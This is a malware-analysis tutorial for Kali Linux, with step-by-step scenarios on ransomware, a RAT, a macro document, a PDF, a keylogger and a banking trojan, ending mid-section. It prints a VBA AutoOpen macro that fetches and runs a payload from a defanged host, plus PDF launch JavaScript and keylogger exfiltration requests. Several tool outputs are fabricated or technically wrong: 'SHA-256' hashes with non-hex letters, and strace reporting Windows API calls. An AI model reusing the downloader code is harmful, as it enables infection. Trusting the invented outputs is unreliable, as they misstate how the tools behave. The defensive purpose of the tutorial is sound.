

**MALWARE ANALYSIS
IN KALI LINUX
INCLUDES STATIC
ANALYSIS,
DYNAMIC ANALYSIS
& REVERSE
ENGINEERING**

BY IZZMIER IZZUDDIN

Table of Contents

STEP-BY-STEP GUIDE	3
1. Prepare the Environment	3
2. Collect and Organise the Malware Sample	3
3. Perform Static Analysis	4
4. Perform Dynamic Analysis	4
5. Perform Reverse Engineering	5
6. Document Findings	5
7. Clean Up	5
SCENARIO EXAMPLE	6
Scenario 1: Investigating Suspicious Malware (ransomware_sample.exe)	6
Scenario 2: Investigating a Remote Access Trojan (RAT)	10
Scenario 3: Investigating a Malicious Document (Office Macro)	15
Scenario 4: Analysing a Suspicious PDF Document	20
Scenario 5: Investigating a Keylogger Malware	29
Scenario 6: Investigating Ransomware Behavior	34
Scenario 7: Analysing a Banking Trojan	39
Scenario 8: Ransomware Sample Analysis	44

STEP-BY-STEP GUIDE

1. Prepare the Environment

Step 1: Set up a safe environment

- Use **Virtual Machines (VMs)** to isolate your malware analysis environment.
- Install Kali Linux on a VM (using VMware or VirtualBox).
- Snapshot the VM to restore it if the malware causes issues.

Step 2: Update Kali Linux

- Update tools and dependencies:

```
sudo apt update && sudo apt upgrade -y
```

Step 3: Install essential tools

- Common tools for malware analysis in Kali Linux include:
 - Static Analysis: Binwalk, strings, radare2, Ghidra
 - Dynamic Analysis: strace, ltrace, Wireshark
 - Reverse Engineering: Ghidra, objdump
 - Decompilers: Java Decompiler (JD-GUI) for Java-based malware

Install missing tools:

```
sudo apt install binwalk radare2 wireshark strace ltrace
```

2. Collect and Organise the Malware Sample

Step 1: Isolate the sample

- Store the malware sample in a dedicated, isolated folder.

Step 2: Verify and hash

- Verify integrity and track changes by hashing the sample:

```
sha256sum malware-sample
```

3. Perform Static Analysis

Static analysis involves examining the malware without executing it.

Step 1: Analyse metadata

- Use the file command to determine the file type:

```
file malware-sample
```

Step 2: Extract strings

- View readable strings in the binary:

```
strings malware-sample | less
```

Step 3: Check for embedded resources

- Extract hidden files or data:

```
binwalk -e malware-sample
```

Step 4: Use reverse engineering tools

- Analyse the binary structure and disassemble code with radare2:

```
r2 malware-sample
```

Explore functions and strings within radare2:

- aaa for code analysis
- pdf @ main for function disassembly

Step 5: Analyse scripts (if applicable)

- If the malware is a script (Python or PowerShell), inspect the code directly.

4. Perform Dynamic Analysis

Dynamic analysis involves executing the malware in a controlled environment.

Step 1: Set up monitoring tools

- Monitor system behavior and interactions:
 - Use strace for system calls:

```
strace -o output.txt ./malware-sample
```

- Use ltrace for library calls:

ltrace ./malware-sample

Step 2: Monitor network activity

- Use Wireshark to analyse network traffic:

sudo wireshark

- Filter traffic by IP or protocols to detect unusual activity.

Step 3: Analyse runtime behavior

- Observe how the malware interacts with the filesystem, processes and memory.

5. Perform Reverse Engineering

Step 1: Decompile binaries

- Use Ghidra or similar tools to reverse-engineer the binary and understand its functionality.

Step 2: Analyse obfuscation techniques

- Detect and unravel encryption, packing or polymorphic techniques.

6. Document Findings

Step 1: Record observations

- Document the malware's behavior, system changes and network activity.

Step 2: Share indicators of compromise (IoCs)

- Extract IoCs like file hashes, registry changes and network connections for further analysis.

7. Clean Up

Step 1: Reset VM

- Revert to the VM snapshot to remove any traces of malware.

SCENARIO EXAMPLE

Scenario 1: Investigating Suspicious Malware (ransomware_sample.exe)

The file is downloaded from MalwareBazaar for research purposes.

Objective

Perform a full malware analysis to uncover its behavior, indicators of compromise (IoCs) and potential mitigation strategies.

Static Analysis

1. Initial Examination

Run the file command to determine the file type:

```
file ransomware_sample.exe
```

Output:

```
ransomware_sample.exe: PE32 executable (GUI) Intel 80386, for MS Windows
```

- The file is a Windows Portable Executable (PE) targeting 32-bit Windows systems.

2. Calculate the Hash

Generate a hash for future identification and IoC sharing:

```
sha256sum ransomware_sample.exe
```

Output:

```
3c2d3cfae8b72604aef3e8b847e73b77d63c7c4c3c23b567db1fc8e51c3bc1b8
```

3. Extract Strings

Analyse readable strings within the binary:

```
strings ransomware_sample.exe | less
```

Key Findings:

- Decrypt-File
- bitcoin-wallet-address

- Contact ransomware_support@manunited.com

4. Inspect Embedded Data

Use binwalk to identify hidden or embedded files:

```
binwalk -e ransomware_sample.exe
```

Results:

- Found an embedded .zip archive containing a ransom note template.

Dynamic Analysis

1. Monitor System Behavior

Execute the sample within a controlled Windows VM using monitoring tools (Sysmon, Process Monitor).

Key Observations:

- **File Creation:** Encrypts .docx, .jpg, .xlsx files and appends .locked extension.
- **Registry Changes:** Adds a persistence mechanism to HKCU\Software\Microsoft\Windows\CurrentVersion\Run.
- **Processes:** Spawns multiple threads for encryption.
- **Ransom Note:** Drops README_DECRYPT.txt in each folder.

2. Analyse Network Traffic

Run the malware in a sandbox while capturing traffic with **Wireshark**.

Wireshark filters:

```
tcp.port == 443
```

Findings:

- Communicates with 45.67.89.101 over HTTPS.
- Sends victim ID and encryption keys to the server.

3. Monitor API Calls

Run the malware using strace and ltrace in Kali Linux:

```
strace -o strace_output.txt ./wine ransomware_sample.exe
```

Key API Calls:

- **CryptEncrypt:** Used for AES file encryption.
- **CreateProcessA:** Creates a new process for the ransom note.

Reverse Engineering

1. Disassembly with Radare2

Analyse the binary structure:

```
r2 ransomware_sample.exe
```

```
aaa
```

```
pdf @ main
```

Findings:

- **Main Function:** Contains the logic for file enumeration and encryption.
- **Hardcoded Strings:** Contains a Bitcoin wallet address and email for ransom payment.
- **Key Generation:** Implements AES-256 with a random key sent to the server.

2. Examine the Ransom Note

Extract and review the ransom note:

All your files have been encrypted!

To recover your files, send 0.01 BTC to:

Bitcoin Address: 1HnRxU...94Tq7

Contact us at ransomware_support@manunited.com

Indicators of Compromise (IoCs)

- **Hash:**
 - 3c2d3cfae8b72604aef3e8b847e73b77d63c7c4c3c23b567db1fc8e51c3bc1b8
- **IP Address:**

- 45.67.89.101
- **Bitcoin Wallet:**
 - 1HnRxU...94Tq7
- **Email:**
 - ransomware_support@manunited.com

Mitigation Strategies

1. **Block IoCs:**
 - Blacklist the IP address and Bitcoin wallet in firewalls and endpoint protection systems.
2. **Containment:**
 - Quarantine affected systems and prevent lateral movement.
3. **Recovery:**
 - Restore encrypted files from backups (if available).
4. **Policy Updates:**
 - Train employees to recognise phishing attempts, the most common delivery mechanism.

Scenario 2: Investigating a Remote Access Trojan (RAT)

You receive a suspicious file named `keylogger_rat.exe` from a team member after an employee reports unusual system behavior. The malware was obtained via MalwareBazaar for analysis to determine its behavior and threat level.

Objective

Conduct a full malware analysis to identify its capabilities, behavior and mitigation measures.

Static Analysis

1. Initial Examination

Identify the file type:

`file keylogger_rat.exe`

Output:

`keylogger_rat.exe: PE32 executable (console) Intel 80386, for MS Windows`

- The file is a 32-bit Windows Portable Executable (PE).

2. Generate File Hash

Calculate the SHA-256 hash:

`sha256sum keylogger_rat.exe`

Output:

`89e1ab12a3e6c7df7c1b1d4382a5e2c1183446d4e3bd3f5567f8b439e3b2f8db`

3. Analyse Strings

Extract readable strings:

`strings keylogger_rat.exe | less`

Key Findings:

- References to `User32.dll` (keyboard hooks).
- C2 URL: `http://malicious-server[.]com/control`.

- Commands like get_keys, screenshot and upload_file.

4. Embedded Data Extraction

Use binwalk to check for embedded data:

```
binwalk -e keylogger_rat.exe
```

Results:

- Found a configuration file containing:
 - Command-and-control (C2) URL.
 - Encryption key: Yz&!45j1.

Dynamic Analysis

1. Execution Monitoring

Run the sample in an isolated Windows VM and observe behavior with **ProcMon** (Process Monitor).

Key Observations:

- **File Behavior:** Creates keylogger.log in %AppData%\Roaming.
- **Registry Changes:** Creates persistence:

```
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
```

```
Value: rat_keylogger = "%AppData%\Roaming\rat_keylogger.exe"
```

- **Processes:** Starts a hidden process to monitor keyboard inputs.

2. Network Traffic Analysis

Capture traffic using **Wireshark**:

```
http.request.method == "POST"
```

Findings:

- Communicates with the C2 server malicious-server[.]com over HTTP.
- Sends logs containing keystrokes and system screenshots.

Captured POST data (decoded):

```
{  
  "machine_id": "DESKTOP-12345",  
  "data": "Keystrokes: hello@example.com"  
}
```

3. API Call Monitoring

Monitor system interactions with strace:

```
strace -o strace_output.txt ./wine keylogger_rat.exe
```

Key API Calls:

- **SetWindowsHookEx:** Hooks keyboard inputs to log keystrokes.
- **InternetOpenUrlA:** Establishes communication with the C2 server.

Reverse Engineering

1. Disassembly with Radare2

Open the binary in radare2 for further analysis:

```
r2 keylogger_rat.exe
```

```
aaa
```

```
pdf @ main
```

Key Findings:

- `main()` function initialises communication with the C2 server.
- Implements AES encryption for data before sending to the C2.

2. Inspect Configuration File

Decrypted configuration file reveals:

C2 URL: `http://malicious-server[.]com/control`

Encryption Key: `Yz&!45j1`

3. Behavior Analysis

- Commands supported by the RAT:

- **get_keys:** Logs keystrokes to keylogger.log.
- **screenshot:** Captures and uploads screen content.
- **upload_file:** Exfiltrates files.

Indicators of Compromise (IoCs)

- **Hash:**
 - 89e1ab12a3e6c7df7c1b1d4382a5e2c1183446d4e3bd3f5567f8b439e3b2f8db
- **C2 URL:**
 - http://malicious-server[.]com/control
- **Registry Key:**
 - HKCU\Software\Microsoft\Windows\CurrentVersion\Run
- **Files Created:**
 - %AppData%\Roaming\rat_keylogger.exe
 - %AppData%\Roaming\keylogger.log

Mitigation Strategies

1. **Block IoCs:**
 - Add the C2 domain (malicious-server[.]com) to DNS blocklists.
 - Block SHA-256 hash in endpoint protection systems.
2. **Containment:**
 - Isolate the infected machine from the network immediately.
3. **Eradication:**
 - Remove malicious registry entries and files.
 - Use antivirus tools for a deep scan of the system.
4. **Recovery:**

- Restore affected machines from clean backups.

5. Preventive Measures:

- Implement stricter email filtering to block malicious attachments.
- Train employees on identifying phishing and suspicious downloads.

Scenario 3: Investigating a Malicious Document (Office Macro)

A phishing email is reported by an employee containing an attachment named invoice.docm. The document is suspected of downloading malware onto the system. The file was acquired from MalwareBazaar for detailed analysis.

Objective

Perform static and dynamic analysis on the malicious document to identify its behavior, embedded scripts and network activity.

Static Analysis

1. Initial Examination

Check the file type:

file invoice.docm

Output:

invoice.docm: Microsoft Word 2007+ macro-enabled document

- The .docm extension confirms the document supports embedded macros.

2. Extract Macro Code

Use oletools to analyse the document's embedded macros:

olevba invoice.docm

Output:

WARNING: This document contains VBA Macros!

```
Sub AutoOpen()
```

```
    URL = "http://malicious-server[.]com/payload.exe"
```

```
    FilePath = Environ("TEMP") & "\malware_payload.exe"
```

```
    With CreateObject("MSXML2.XMLHTTP")
```

```
        .Open "GET", URL, False
```

```
        .Send
```

```
If .Status = 200 Then
    Set objStream = CreateObject("ADODB.Stream")
    objStream.Open
    objStream.Type = 1
    objStream.Write .responseBody
    objStream.SaveToFile FilePath, 2
    objStream.Close
End If
End With
Shell FilePath
End Sub
```

Key Observations:

- **URL:** Downloads a file from [http://malicious-server\[.\]com/payload.exe](http://malicious-server[.]com/payload.exe).
- **Execution:** Saves the file in the temp directory and executes it.

3. Hash the File

Calculate the document's hash for identification:

```
sha256sum invoice.docm
```

Output:

```
5df4a1d2d3a3f1b2c4e8f6a94b2e7d9b0cc3f5d2d9a7e2f5c3a1d3f5a7b9c2e5
```

4. Extract Embedded URLs

Analyse the document for any additional embedded links:

```
strings invoice.docm | grep -E "http|https"
```

Findings:

- [http://malicious-server\[.\]com/payload.exe](http://malicious-server[.]com/payload.exe)

Dynamic Analysis

1. Environment Setup

Execute the document in a **Windows VM** with monitoring tools:

- **Process Monitor:** Monitor file and registry changes.
- **Wireshark:** Capture network traffic.

2. Trigger the Macro

Enable macros in a controlled environment to observe behavior.

Observations:

- A file named `malware_payload.exe` is downloaded to the temp directory.
- The payload is executed, creating additional processes.

3. File Activity

Analyse the temp directory:

```
ls %TEMP%
```

Findings:

- `malware_payload.exe` is present.

4. Network Traffic

Use **Wireshark** to analyse network communication:

```
wireshark
```

```
http.request.method == "GET"
```

Captured Traffic:

- GET request to `http://malicious-server[.]com/payload.exe`.
- No encryption observed (plain HTTP).

Payload Analysis

1. Extract Payload

Copy the downloaded payload to Kali for analysis:

```
bash
```

```
scp user@windows-vm:/path/to/malware_payload.exe .
```

2. Static Analysis of Payload

Perform basic checks:

```
file malware_payload.exe
```

```
strings malware_payload.exe | less
```

Key Observations:

- **File Type:** PE32 executable.
- **Strings:** References to `CreateProcessA`, `InternetOpenUrlA`.

3. Behavioral Analysis of Payload

Execute in a sandbox environment and monitor:

- **Processes:** Spawns multiple child processes.
- **Network Activity:** Communicates with the C2 server at `malicious-server[.]com`.

Indicators of Compromise (IoCs)

1. Document Hash:

- 5df4a1d2d3a3f1b2c4e8f6a94b2e7d9b0cc3f5d2d9a7e2f5c3a1d3f5a7b9c2e5

2. Malware Payload Hash:

- c2b3e4d9f5a7b9c2d3a4f5e2f8d3c4a9b7e1c5d6e4b7c3d9f2a5c1d7f8e4b2f5

3. C2 Domain:

- malicious-server[.]com

4. Downloaded File Path:

- %TEMP%\malware_payload.exe

Mitigation Strategies

1. Block IoCs:

- Add `malicious-server[.]com` to the blocklist.

- Prevent execution of macros via group policies.

2. Containment:

- Isolate affected machines.

3. Eradication:

- Remove downloaded payloads and malicious registry entries.

4. Recovery:

- Restore from clean backups if necessary.

5. Policy Changes:

- Disable macros by default in office documents.
- Educate users about phishing emails.

Scenario 4: Analysing a Suspicious PDF Document

An employee reported receiving a suspicious PDF file named invoice_update.pdf via email. Upon opening, the document appears blank, but a security alert indicated potential malicious activity. The file was acquired from MalwareBazaar for detailed malware analysis.

Objective

Perform static and dynamic analysis on the PDF to uncover malicious scripts, payloads or suspicious behaviors.

Static Analysis

1. Identify File Type

Check if the file is a valid PDF:

file invoice_update.pdf

Output:

invoice_update.pdf: PDF document, version 1.5

2. Extract Metadata

Analyse metadata using pdfid.py:

pdfid.py invoice_update.pdf

Output:

PDFiD 0.2.3 invoice_update.pdf

/OpenAction: 1

/JS: 1

/JavaScript: 1

/AA: 0

/URI: 1

/XFA: 0

Observations:

- The /JavaScript tag indicates embedded scripts.
- The /OpenAction tag shows that the script executes automatically upon opening.
- The /URI tag suggests external resources are referenced.

3. Extract Embedded JavaScript

Extract and inspect the script using pdf-parser.py:

```
pdf-parser.py --search JavaScript invoice_update.pdf
```

Output:

```
var url = "http://malicious-server[.]com/payload.exe";  
this.exportDataObject({ cName: "payload.exe", nLaunch: 2 });
```

Key Findings:

- Embedded JavaScript downloads a file named payload.exe from http://malicious-server[.]com.
- Executes the payload on the victim's system.

4. Hash the File

Generate the hash for reference:

```
sha256sum invoice_update.pdf
```

Output:

```
123abc456def789ghijklmnop123456789abcdef123456789abcdef123456789
```

Dynamic Analysis

1. Isolated Environment

Open the PDF in a virtualised Windows environment with Adobe Reader and monitoring tools like **ProcMon** and **Wireshark**.

2. Monitor Behavior

When the PDF is opened:

- **File Creation:** A file named payload.exe appears in the temp directory.

- **Process Activity:** Adobe Reader spawns a child process to execute the payload.

3. Analyse Network Activity

Capture traffic with Wireshark:

```
http.request.method == "GET"
```

Key Findings:

- A GET request is sent to `http://malicious-server[.]com/payload.exe`.
- No encryption (HTTP).

Payload Analysis

1. Retrieve Payload

Copy the payload.exe to Kali Linux for further analysis:

```
scp user@windows-vm:/temp/payload.exe .
```

2. Static Analysis of Payload

Check file details and extract strings:

```
file payload.exe
```

```
strings payload.exe | less
```

Key Findings:

- **File Type:** PE32 executable.
- **Strings:**
 - References to APIs like `WinExec`, `InternetOpenUrlA`.
 - Encoded commands for data exfiltration.

3. Dynamic Analysis of Payload

Execute the payload in a sandboxed Windows VM and monitor its behavior:

- **Processes:** Creates a new service for persistence.
- **Network:** Communicates with `http://malicious-server[.]com`.

Indicators of Compromise (IoCs)

1. PDF Hash:

- 123abc456def789ghijklmnop123456789abcdef123456789abcdef123456789

2. Payload Hash:

- abcdef123456789ghijklmnop123456789abcdef123456789abcdef123456789

3. C2 Server:

- http://malicious-server[.]com

4. File Artifacts:

- %TEMP%\payload.exe

Mitigation Strategies

1. Block IoCs:

- Add the C2 domain (malicious-server[.]com) to blocklists.
- Add file hashes to endpoint protection tools.

2. Educate Users:

- Warn about opening unknown or unexpected PDF files.

3. System Protection:

- Disable JavaScript in PDF readers by default.
- Update and patch Adobe Reader to the latest version.

4. Incident Response:

- Isolate infected machines.
- Perform a deep scan and remove malicious files.

Scenario 5: Investigating a Malicious Executable File

A suspicious executable, `game_updater.exe`, was discovered on an employee's system. It was reported that the file was downloaded after clicking a pop-up ad on a gaming website. The file was retrieved from MalwareBazaar for analysis.

Objective

Perform static and dynamic analysis on the executable to uncover its functionality, behavior and potential threat vectors.

Static Analysis

1. File Identification

Check the file type to confirm it is an executable:

```
file game_updater.exe
```

Output:

```
game_updater.exe: PE32 executable (GUI) Intel 80386, for MS Windows
```

2. Calculate Hash

Generate the hash of the file for identification and threat intelligence:

```
sha256sum game_updater.exe
```

Output:

```
abcdef1234567890abcdef1234567890abcdef1234567890abcdef1234567890
```

3. Strings Extraction

Extract strings for insights into the file's functionality:

```
strings game_updater.exe | less
```

Key Observations:

- References to suspicious domains:
 - `http://malicious-server[.]com/c2`
 - `http://data-exfiltration[.]net/upload`

- System calls:
 - WinExec
 - VirtualAlloc
 - CreateProcessA

4. Examine PE Header

Use peframe to analyse the Portable Executable (PE) structure:

peframe game_updater.exe

Findings:

- **Sections:**
 - .text (executable code)
 - .rdata (read-only data)
 - .data (potentially writable)
 - .rsrc (contains resources like icons and metadata).
- **Suspicious Characteristics:**
 - The .data section has RWX (Read-Write-Execute) permissions, commonly used by malware for injecting code.

Dynamic Analysis

1. Sandbox Execution

Run the file in a virtualised Windows environment with monitoring tools:

- **Process Monitor (ProcMon):** Tracks file, registry and process activity.
- **Wireshark:** Captures network traffic.

2. Execution Observations

After running game_updater.exe:

- **Process Behavior:**
 - Spawns a process named svchost.exe to appear legitimate.

- Writes a DLL file, malicious.dll, in the system32 directory.
- Modifies the registry key for persistence:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Updater.
- **File Activity:**
 - Creates the following files:
 - %TEMP%\malicious_payload.tmp
 - %APPDATA%\game_updater.log.
- **Network Activity:**
 - Connects to http://malicious-server[.]com/c2 to receive commands.
 - Attempts to upload system_info.txt to http://data-exfiltration[.]net/upload.

3. Monitor Network Traffic

Analyse traffic with Wireshark:

wireshark

http.request || tcp.stream

Findings:

- GET request to http://malicious-server[.]com/c2.
- POST request to http://data-exfiltration[.]net/upload containing a file with system information.

Behavioral Analysis

1. Investigate Persistence Mechanism

Examine the registry modification:

reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run

Output:

Updater REG_SZ C:\Users\Victim\AppData\Roaming\game_updater.exe

2. Observe File Injection

Identify injected DLL using **ProcMon** and confirm:

```
strings malicious.dll | grep "malicious"
```

Findings:

- Strings suggest the DLL is used for credential theft and command execution.

3. Analyse Exfiltrated Data

The uploaded file, system_info.txt, contains:

- System hostname.
- OS version.
- User credentials in plain text (likely from clipboard logging).

Indicators of Compromise (IoCs)

1. File Hashes:

- Executable:
abcdef1234567890abcdef1234567890abcdef1234567890
0
- DLL:
1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcd
ef

2. Domains:

- http://malicious-server[.]com/c2
- http://data-exfiltration[.]net/upload

3. Registry Key:

- HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Updater

4. File Artifacts:

- %TEMP%\malicious_payload.tmp
- %APPDATA%\game_updater.log

Mitigation Strategies

1. Immediate Actions:

- Isolate affected systems.
- Block IoCs (domains, hashes) in firewalls and endpoint protection.

2. Clean-up Steps:

- Remove malicious files and registry entries.
- Disable persistence mechanisms:

reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Updater

3. Strengthen Security:

- Implement endpoint monitoring tools.
- Educate users on the risks of clicking pop-up ads.
- Enforce least privilege principles to reduce attack surface.

Scenario 5: Investigating a Keylogger Malware

A security team discovered unusual login attempts from an employee's account. After investigation, a suspicious executable, notes_app.exe, was found in the user's downloads folder. The file was acquired from MalwareBazaar for analysis.

Objective

Analyse the executable to determine its functionality, with a focus on identifying whether it is a keylogger and uncovering its behavior.

Static Analysis

1. File Identification

Verify the file type:

```
file notes_app.exe
```

Output:

```
notes_app.exe: PE32 executable (GUI) Intel 80386, for MS Windows
```

2. Hash Generation

Generate a SHA256 hash for threat intelligence reference:

```
sha256sum notes_app.exe
```

Output:

```
789abc123def456ghijklmnop789abc123def456ghijklmnop789abc123def456
```

3. Strings Analysis

Extract readable strings from the binary:

```
strings notes_app.exe | less
```

Key Observations:

- References to suspicious APIs:
 - GetAsyncKeyState (used to capture keystrokes).
 - CreateFileA and WriteFile (used to save logs).

- HttpSendRequestA (indicates data exfiltration).
- References to a log file: C:\Users\Victim\AppData\Local\logfile.txt.
- URL: http://keylogger[.]malicious-site[.]com/upload.

4. PE Analysis

Analyse the PE structure using peframe:

peframe notes_app.exe

Findings:

- **Imports:**
 - APIs related to keylogging and network communication.
- **Sections:**
 - .text contains executable code.
 - .data section shows strings with obfuscation patterns.

5. Yara Rules Check

Scan the file for known malware signatures:

yara -r /usr/share/yara/rules/malware_rules.yar notes_app.exe

Output:

Keylogger_Generic_Match

Observation:

Yara identified the file as a generic keylogger.

Dynamic Analysis

1. Sandbox Execution

Run the malware in an isolated Windows VM with:

- **ProcMon:** To monitor process and file activity.
- **Wireshark:** To capture network traffic.
- **RegShot:** To track registry changes.

2. Monitor Process Activity

Execute the malware and observe behavior:

- Creates a hidden log file at C:\Users\Victim\AppData\Local\logfile.txt.
- Starts capturing keystrokes using GetAsyncKeyState API.
- Attempts to upload the log file to http://keylogger[.]malicious-site[.]com/upload.

3. Network Traffic Analysis

Capture and analyse network requests:

```
http.request.method == POST
```

Findings:

- Sends HTTP POST requests to http://keylogger[.]malicious-site[.]com/upload.
- Logs are exfiltrated as plaintext.

4. Registry Persistence

Examine changes to the registry:

```
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
```

Output:

```
Key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
```

```
Value: NotesApp REG_SZ C:\Users\Victim\Downloads\notes_app.exe
```

Observation:

The malware persists by adding itself to the startup registry key.

Behavioral Analysis

1. Analyse Keylogging Mechanism

Examine the log file:

```
cat C:\Users\Victim\AppData\Local\logfile.txt
```

Output:

```
[2024-12-01 12:30:45] www.banklogin.com
```

[2024-12-01 12:30:48] username: victim_user

[2024-12-01 12:30:52] password: P@ssw0rd123

Observation:

The malware captures credentials and URLs typed by the user.

2. Exfiltration Mechanism

Inspect the payload sent in POST requests using Wireshark:

POST /upload HTTP/1.1

Host: keylogger[.]malicious-site[.]com

Content-Type: application/x-www-form-urlencoded

Content-Length: 512

logfile=Base64EncodedKeystrokes

Observation:

The log file is exfiltrated to the attacker's server.

Indicators of Compromise (IoCs)

1. File Hash:

- SHA256:
789abc123def456ghijklmnop789abc123def456ghijklmnop789abc123def456

2. Malicious Domain:

- http://keylogger[.]malicious-site[.]com/upload

3. Registry Key:

- HKCU\Software\Microsoft\Windows\CurrentVersion\Run\NotesApp

4. File Artifact:

- C:\Users\Victim\AppData\Local\logfile.txt

Mitigation Strategies

1. Immediate Actions:

- Disconnect the affected machine from the network.
- Block IoCs in firewalls and endpoint protection tools.
- Delete the executable and log file:

del C:\Users\Victim\AppData\Local\logfile.txt

del C:\Users\Victim\Downloads\notes_app.exe

- Remove the persistence registry key:

reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v NotesApp

2. Strengthen Security:

- Deploy endpoint protection tools that detect keyloggers.
- Implement browser-based password managers to avoid typing sensitive credentials.
- Educate users about the risks of downloading unknown executables.

3. Forensic Investigation:

- Analyse traffic logs to identify compromised credentials.
- Reset all potentially compromised passwords.

Scenario 6: Investigating Ransomware Behavior

A client organisation reports that critical files on their system have been encrypted, with a ransom note named READ_ME.txt appearing in all affected directories. An executable file, encryptor.exe, was found in the same directory. This file was downloaded for analysis from MalwareBazaar.

Objective

Perform static and dynamic analysis on the suspected ransomware to uncover its encryption mechanism, ransom communication channels and potential vulnerabilities.

Static Analysis

1. File Identification

Verify the file type:

```
file encryptor.exe
```

Output:

```
encryptor.exe: PE32 executable (console) Intel 80386, for MS Windows
```

2. Hash Calculation

Generate a hash for identification and threat intelligence lookup:

```
sha256sum encryptor.exe
```

Output:

```
1234abcd5678efgh9012ijkl3456mnop7890qrst1234uvw5678yzab9012cdef
```

3. Strings Extraction

Extract readable strings:

```
strings encryptor.exe | less
```

Key Observations:

- Encryption library references:
 - AES256_Encrypt

- Crypto++
- Ransom note text:

Your files have been encrypted. Send 1 Bitcoin to the wallet below:

1A2b3C4d5E6F7g8H9I0JkLmnopQRstUvWxyZ

- Command and Control (C2) server: [http://ransom-server\[.\]com](http://ransom-server[.]com)

4. PE Header Analysis

Inspect the PE structure using peframe:

peframe encryptor.exe

Findings:

- Suspicious API imports:
 - CreateFileA, WriteFile: Modifies and creates files.
 - CryptEncrypt, CryptAcquireContext: Handles encryption.
- Evidence of obfuscation in .text and .data sections.

5. Identify Known Malware

Check for known malware signatures with ClamAV:

clamscan encryptor.exe

Output:

makefile

encryptor.exe: Win.Ransom.Generic detected

Observation:

ClamAV confirms the ransomware behavior.

Dynamic Analysis

1. Sandbox Execution

Run the malware in a controlled environment:

- **Tools:** ProcMon, Wireshark and RegShot.

- **Snapshot:** Take a VM snapshot to revert after execution.

2. File System Changes

Execute encryptor.exe and monitor changes:

- **Encrypted Files:**
 - .docx, .xlsx and .jpg files replaced with .locked extensions.
 - Example: report.docx → report.docx.locked.
- **Ransom Note:**
 - A file named READ_ME.txt created in all directories.

3. Registry Modifications

Inspect persistence mechanisms:

```
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
```

Output:

```
Ransomware REG_SZ C:\Users\Victim\encryptor.exe
```

Observation:

The malware ensures persistence by adding itself to startup.

4. Network Behavior

Capture traffic with Wireshark:

```
http.request || dns.query
```

Findings:

- DNS request to ransom-server[.]com.
- HTTP POST to the server, likely to transmit encryption keys.

Behavioral Analysis

1. Encryption Analysis

Examine encrypted files using **Hexdump**:

```
hexdump -C report.docx.locked
```

Findings:

- The file begins with a unique marker: 0x45 0x4E 0x43 (ENC in ASCII).
- Content appears scrambled, consistent with AES-256 encryption.

2. Key Management

The ransomware generates a unique encryption key for each victim and uploads it to the C2 server:

- Key discovery using ProcMon:
Captured a system call invoking CryptGenKey and HttpSendRequestA.

3. Ransom Note Content

Content of READ_ME.txt:

Your files have been encrypted.

To recover your files, send 1 Bitcoin to the following wallet:

1A2b3C4d5E6F7g8H9I0JkLmnopQRstUvWxyZ

Contact us at decrypt_support@maliciousmail.com for decryption instructions.

Indicators of Compromise (IoCs)

1. File Hash:

- SHA256:
1234abcd5678efgh9012ijkl3456mnop7890qrst1234uvwxy5678yzab9012cdef

2. Malicious Domains:

- http://ransom-server[.]com

3. BTC Wallet:

- 1A2b3C4d5E6F7g8H9I0JkLmnopQRstUvWxyZ

4. Registry Key:

- HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Ransomware

5. File Artifacts:

- Encrypted files with .locked extensions.

- READ_ME.txt ransom note.

Mitigation Strategies

1. Contain and Isolate

- Disconnect the affected machine from the network.
- Block IoCs in firewall and endpoint protection systems.

2. Data Recovery

- Check for shadow copies:

vssadmin list shadows

- Attempt decryption if possible (check resources like NoMoreRansom).

3. Remove Persistence

- Delete the malware executable:

del C:\Users\Victim\encryptor.exe

- Remove the registry key:

reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Ransomware

4. Strengthen Defenses

- Regular backups with off-site storage.
- Endpoint Detection and Response (EDR) tools.
- Educate employees on phishing and malicious downloads.

Scenario 7: Analysing a Banking Trojan

A user reported suspicious behavior on their system, including unauthorised bank transactions. The IT team identified a malicious file, `banking_helper.exe`, in the Downloads folder. The sample was obtained from MalwareBazaar for analysis.

Objective

Perform a detailed analysis of the banking trojan to uncover its capabilities, targeted financial institutions and possible remediation steps.

Static Analysis

1. File Identification

Determine the file type:

```
file banking_helper.exe
```

Output:

```
banking_helper.exe: PE32 executable (GUI) Intel 80386, for MS Windows
```

2. Hash Calculation

Generate the SHA256 hash for threat intelligence lookup:

```
sha256sum banking_helper.exe
```

Output:

```
ab12cd34ef56gh78ij90kl12mn34op56qr78st90uv12wx34yz56ab78cd90ef12
```

3. Strings Extraction

Inspect readable strings in the binary:

```
strings banking_helper.exe | less
```

Key Observations:

- URLs:
 - `http://malicious-banking-server[.]com`
- References to financial institution URLs:

- login.mybank.com
 - secure.bankabc.com
- Functions for credential harvesting:
 - HttpOpenRequestA, InternetReadFile
- Temporary file creation:
 - C:\Users\Victim\AppData\Local\Temp\helper.tmp

4. PE Header Analysis

Inspect the executable's structure using peframe:

peframe banking_helper.exe

Findings:

- Suspicious imports:
 - InternetOpenA, InternetReadFile (used for C2 communication).
 - CreateWindowEx (keylogger functionality).
 - CryptEncrypt (encrypting stolen data).
- Sections with non-standard entropy, indicating possible obfuscation or packed data.

5. Threat Intelligence Lookup

Search the hash on **VirusTotal**:

curl -X POST --form "file=@banking_helper.exe" https://www.virustotal.com/api/v3/files

Result:

The file is identified as a variant of a known banking trojan: **Zeus Trojan Fork**.

Dynamic Analysis

1. Sandbox Execution

Set up an isolated Windows VM with:

- **ProcMon** to monitor file and process activity.
- **Wireshark** to analyse network traffic.

- **RegShot** to track registry changes.

2. Process Behavior

Execute `banking_helper.exe` and observe:

- Creates a temporary file: `helper.tmp` in `C:\Users\Victim\AppData\Local\Temp`.
- Initiates a new process, injecting code into `explorer.exe`.
- Captures browser keystrokes and redirects to fake banking sites.

3. Network Traffic Analysis

Use **Wireshark** to capture network requests:

`http.request || tls.handshake`

Findings:

- POST requests to `http://malicious-banking-server[.]com` containing:
 - Username and password fields.
 - Browser cookies from `login.mybank.com` and `secure.bankabc.com`.

4. Registry Modifications

